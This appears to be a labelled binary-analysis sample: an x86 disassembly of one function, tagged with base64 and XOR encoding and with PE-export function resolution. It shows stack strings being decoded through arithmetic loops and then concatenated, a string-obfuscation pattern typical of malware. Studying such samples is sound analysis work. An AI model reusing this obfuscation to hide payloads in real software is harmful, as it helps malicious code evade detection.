Function at 0x42eaf0
Capabilities:
Encode data using base64
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0xa00
mov esi, esp
push 0x1000
call fcn.0040c820
add esp, 4
mov dword [esi + 0x24], eax
mov dword [esi + 0x714], 0x87767c5e
mov dword [esi + 0x718], 0x95baa9b5
mov dword [esi + 0x71c], 0x5170
mov eax, 0xab2e900e
mov ecx, 0xf1
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esi + eax + 0x54d17706]
mov edi, ecx
xor edi, eax
and edi, edx
xor edi, eax
mov edx, edi
and edx, 0x39
xor edi, 0xb9
lea edx, [edi + edx*2]
inc dl
mov byte [esi + eax + 0x54d17706], dl
inc eax
dec ecx
cmp eax, 0xab2e901a
jne 0x42eb40
mov eax, dword [str.5c9b8674a630d9101b46733aa37f15ec]
mov dword [esi + 0xc], eax
mov dword [esi + 0x414], 0x946e6046
mov dword [esi + 0x418], 0xbeb4bda1
mov dword [esi + 0x41c], 0xbaa4a0bd
mov dword [esi + 0x420], 0xb3abb0ac
mov word [esi + 0x424], 0x7f66
mov byte [esi + 0x426], 0x5e
mov word [esi + 0x427], 0
mov byte [esi + 0x429], 0
lea ecx, [esi + 0x414]
mov edx, 0x580871f2
nop
nop
nop
nop
nop
movzx edi, byte [ecx]
lea ebx, [edx - 0x58087100]
and ebx, edi
or edi, edx
not edi
or edi, ebx
mov ebx, edi
and ebx, 1
or edi, 1
add edi, 0xbe
xor edi, ebx
lea ebx, [edi + ebx*2]
mov byte [ecx], bl
inc ecx
dec edx
cmp edx, 0x580871dc
jne 0x42ebd0
mov ecx, dword [str.tLYMe5__4]
mov dword [esi + 0xbc], 0xceb09193
mov dword [esi + 0xc0], 0xc8c89dc5
mov dword [esi + 0xc4], 0xa79a83c7
mov dword [esi + 0xc8], 0xf386a58b
mov dword [esi + 0xcc], 0xe2f7f4fd
mov dword [esi + 0xd0], 0xf8f1fafa
mov dword [esi + 0xd4], 0xa840e2fa
mov dword [esi + 0xd8], 0xeeeb97b4
mov dword [esi + 0xdc], 0xe7ff82be
mov dword [esi + 0xe0], 0xe8eabde8
mov dword [esi + 0xe4], 0xbba0eaf7
mov dword [esi + 0xe8], 0x929b91e4
mov dword [esi + 0xec], 0x82978095
mov dword [esi + 0xf0], 0x9383869e
mov dword [esi + 0xf4], 0x21969e8a
mov dword [esi + 0xf8], 0x8ae2d5c1
mov dword [esi + 0xfc], 0xf0938485
mov dword [esi + 0x100], 0x82fcddce
mov dword [esi + 0x104], 0xc1968d91
mov dword [esi + 0x108], 0xbba5d2e4
mov dword [esi + 0x10c], 0xe3f3f3e0
mov dword [esi + 0x110], 0xf3fcfdfe
mov dword [esi + 0x114], 0xdfeafc02
mov dword [esi + 0x118], 0xf7ecd9dd
mov byte [esi + 0x11c], 0x10
mov byte [esi + 0x11f], 0
mov word [esi + 0x11d], 0
mov edx, 0x94
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esi + edx + 0x28]
mov eax, edx
and eax, edi
or edi, edx
lea ebx, [eax + eax]
not ebx
add ebx, eax
and ebx, edi
add bl, 0x1c
mov byte [esi + edx + 0x28], bl
inc edx
cmp edx, 0xf8
jne 0x42ed20
movzx edx, byte [esi + 0xbc]
mov eax, dword [esi + 0x24]
mov ebx, eax
test dl, dl
je 0x42ed6b
lea edi, [esi + 0xbd]
mov ebx, eax
nop
nop
nop
nop
mov byte [ebx], dl
inc ebx
movzx edx, byte [edi]
inc edi
test dl, dl
jne 0x42ed60
mov byte [ebx], 0
movzx edx, byte [ecx]
test dl, dl
je 0x42ed8d
inc ecx
mov eax, dword [esi + 0xc]
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], dl
inc ebx
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x42ed80
jmp 0x42ed90
mov eax, dword [esi + 0xc]
mov byte [ebx], 0
movzx ecx, byte [esi + 0x414]
test cl, cl
je 0x42edbb
lea edx, [esi + 0x415]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42edb0
mov byte [ebx], 0
movzx ecx, byte [eax]
test cl, cl
je 0x42eddb
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x42edd0
mov edi, ebx
mov byte [ebx], 0
movzx eax, byte [esi + 0x714]
test al, al
je 0x42ee0b
lea ecx, [esi + 0x715]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42ee00
mov byte [edi], 0
push 0
call fcn.00445400
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
mov dword [esi + 0x14], edi
jmp dword [ecx*4 + 0x44f420]